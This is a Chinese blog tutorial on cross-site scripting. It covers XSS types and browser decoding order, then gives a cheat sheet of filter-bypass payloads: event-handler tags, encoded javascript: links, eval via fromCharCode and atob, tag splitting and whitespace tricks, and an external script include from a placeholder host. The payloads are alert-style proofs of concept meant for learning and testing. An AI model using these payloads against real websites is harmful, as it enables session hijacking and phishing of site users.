很久没写东西了,今天整理一点儿思路
简单说一下XSS
XSS(cross site script)即跨站脚本,侧重于“脚本”这一层概念,是一种常见web安全漏洞。攻击者通过往web页面里看起来就能插or看起来应该能插的地方插恶意代码,当用户浏览时就会执行。
可能造成很多风险,比如:
1.盗取cookie,伪装成用户(最常见)
2.操控浏览器,影响加密传输
3.与浏览器插件漏洞结合,挂马
4.改界面钓鱼
5.蠕虫
等等等等。。。。。。
XSS按照不同分类标准可以有很多分类方式,什么DOM、非DOM ;JS、FLASH;反射、存储。。。。。。常见的说法是分了存储型、反射型、DOM型三种类型
存储型:指代码存在服务器端,攻击者的恶意输入在没有任何验证的情况下保存到了服务端文件或数据库中,且,该输入在被获取的时候,也没有编码或者转义直接返回响应报文中,每次返回响应就会执行一遍恶意代码
反射型:提交恶意信息给受害者,受害者点击执行,结果通过服务器解析后反馈回浏览器,不存储在后台
DOM型:网站JS代码中能操作DOM对象(比如Document(整个HTML文档))、JS对象(比如Window(浏览器窗口)、比如Location(URL)),网站没对一些输入过滤,这些恶意输入正好被这些对象的一些属性(什么document.locationdocument.URLdocument.referrerdocument.write等一堆,document.referer、window.name、location、innerHTML、document.write什么的都比较危险)所利用,实现了代码执行。无后台交互,代码不存储于后台
另:
浏览器是有解析顺序的,HTML->CSS与JS(实际上是交错的)
浏览器解码顺序URL->HTML->JS(啊,考虑有浏览器请求网页这个动作,我说URL先解码,实际上不一定谁先,是最外层对应的环境先解码
如<a href="javascript: alert(1)" >click</a>
一次编码变为<a href="javascript: alu0065rt(1)">click</a>
二次编码变为<a href="javascript:%0a%61lu0065rt(1)">click</a>(这种的Unicode只能放在标识符中才能被解析,否则<script>u0061u006cu0065u0072u0074u0028u0031u0031u0029</script>(即<script>alert(11)</script>)这种就解析不了,不能把alert(11)也编码了,因为并不知道“alert(11)”是个什么标识符,实际上啥也不是,于是被当成一般字符串没有执行)
解码顺序是
先是HTML转化DOM节点a,生成DOM树;href与URL相关,所以进行URL解码;又href中有js伪协议,所以又进行了js解码
但要是再来&#lt;a href="javascript:%0a%61lu0065rt(1)">click</a>就不行了,因为HTML没找到认识的标签)
所以说,谈到代码混淆多重编码或者是编码加密payload的时候,不要忘了按当前代码解析顺序选择编码顺序,具体问题具体分析,编码顺序乱了,你是解析不出来的,就执行不了,而且多重编码没有多次解码也执行不了,总之要看代码的解析顺序
关键在于是否可以在本层语句执行前,上层环境将其还原成本层环境可以认识的东西
比如说<a href='javascript:alert('xss')' >onclick</a>
<a href='javascript:alert('xss')' >onclick</a>可行,因为在js执行之前,被HTML认识并解码还原了,解码后js也认识(补充一点:DOM创建新的节点标签会重新调用HTML解析)(<script>alert(9);</script>啊像这种就不行,只有js,不认识你什么东西)
而<a href='%6A%61%76%61%73%63%72%69%70%74:%61%6C%65%72%74%28%31%29' >onclick</a>就不行,<a href='%6a%61%76%61%73%63%72%69%70%74:%61%6c%65%72%74%28%27%78%73%73%27%29' >onclick</a>冒号不编码也不行,虽说URL解码在前,js应该可以认识啊。这里还涉及到了:不要对协议类型 冒号(这种写法的且带javascript: 和http: 之类的,什么<img src="http://xxxxxxxxx.xxx"> 可对其进行HTML编码,不要对其进行URL编码)进行编码操作,除非在被识别前解码,虽然说有URL解码,但是只是解码不会再识别一次你是什么协议
那就把javascript这几个字符进行HTML编码,把alert('xss')进行URL编码即可,冒号原地不动
<a href='javascript:%61%6c%65%72%74%28%27%78%73%73%27%29' >onclick</a>
js提供了四种字符编码的策略:
- 三个八进制数字,如果不够个数,前面补0,例如“e”编码为“145”
- 两个十六进制数字,如果不够个数,前面补0,例如“e”编码为“x65”
- 四个十六进制数字,如果不够个数,前面补0,例如“e”编码为“u0065”
- 对于一些控制字符,使用特殊的C类型的转义风格(例如 和 )
URL编码一个百分号和其ASCII编码对应的两位十六进制符号#:比如常见的 # ->%23
HTML实体编码以&开头;结尾,分十进制和十六进制表示 如 < html十进制:< html十六进制:<
js是认识Unicode、八进制、十六进制(例如a u0061(unicode) 141(八进制) x61(十六进制))
HTML也认识十进制、十六进制(例如 < < (十进制) < (十六进制) )
跑题了,返回说测试代码
关于测试代码,经过自己测试(跳火坑)和网上一些大佬的思路启发,整理了一些思路,当然不仅仅是这些
<script>alert("xss")</script>和<script src="http://xxxxxxxxxxxx/xxxxxxx.js"></script>这种基本上会被拦
看一眼当前界面的源代码,看看是否把测试代码包含了,如果是,包含到哪里了
要是没有过滤,需要前后闭合就好
有过滤,看是什么过滤
如果某些有实体的符号被转义干掉了或许可以考虑下编码
但是你自己HTML编码不要编码外层<> ,属性名,最好不要编码=,:啥的,会改变标签本身的结构,改得妈都不认识
或者fromCharCode() <script>alert(String.fromCharCode(88,83,83))</script>
如果script被干掉了,可以尝试<scr<script>ipt>或者大小写或者空字符<scr%00ipt>(尽管没啥用) 或者用其他标签如<div> <body> <img> <a href> <svg> 等等结合onload、onerror、onmouseenter等事件关键字
这些关键字都有不同的能使用的标签,不是在所有标签中都能用的,触发点也不一样,不可能一个<script>alert(1)</script>走天下
比如
例如
<svg onload=alert(1)>(svg是个很特殊的标签,支持XML解析,意味着在它里面可以解析HTML实体编码,本例中()可以用HTML实体编码替换试试<svg onload=alert(1)>)
<body onload=alert(1)>
<div style="500px;height:500px" onmouseover=alert(1)></div>
<img src="javascript:alert('xss');">
<img src=1 onerror=alert(/xss/)>
等等
类似这种
还有一些大佬用<marquee>标签的相关事件,这个东西比较少见,且有浏览器限制
<marquee><img src=x onerror=confirm(1)></marquee>
还有用音频流<audio>和视频流<video>的,也有限制,起码要链接存在的东西,至于向内还是向外视情况而定吧
另外可以尝试一下其他标签如
<iframe src=javascript:alert(1)>
<embed src=javascript:alert(1)>
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgieHNzIik7PC9zY3JpcHQ+"></object>
除了往HTML中插JS,还可以往CSS中插JS
<link rel="stylesheet" href="javascript:alert('xss');">
<style> a {expression(alert('xss'))} </style>
<div style="expression(alert('xss'));">
还有一些前端JS框架,有其特殊的写法,我也没有太多研究,这里暂且提一下
最后再补充一些绕过(这里不考虑从外部导入文件来执行xss)
假如alert(1)括号还有引号被过滤了,不妨尝试反引号 alert`1`
或者prompt <script>prompt(1)</script>
或者confirm <script>confirm(1)</script>
再或者自己写变量调用一些其他方法有奇效
<script>
var lcx=window[String.fromCharCode(101,118,97,108)];
lcx(atob('YWxlcnQoeHNzKQ=='));
</script>
前提是window或者别的什么方法调得起来,atob解base64
再或者<script>Array.from([1],alert)</script> 伪数组加回调函数
总之这种变形的方法有非常多
还有为什么不问问神奇的JSFuck和jjencode呢
类似<svg这里onload=alert(1)> 可尝试正斜杠/ ,回车,换行,tab也许有意外收获
<a href="jav
ascript:alert(1)">click me</a>换行
<a href="jav	ascript:alert(1)">click me</a>tab
<a href="jav
ascript:alert(1)">click me</a>回车
关键词被过滤搞注释符号/**/
还有img标签畸形处理
<img """><script>alert("XSS")</script>">
多重尖括号
<<script>alert("XSS");//<</script>
<body onload=alert('xss')>
<img src=# onmouseover="alert('xxs')">
等等
还有很多很多方法,不一一列举了,这些payload执行成功与否受限于浏览器版本和类型是否支持
最外层的<>绝大多数情况下没法替代,少数特殊情况下插入位置在标签内可以用""引号闭合,或者创建新标签,引入外部文件执行xss
码字不易 后续想起什么再补充吧
参考文章推荐: http://bobao.360.cn/learning/detail/292.html
随便转载,请标明作者出处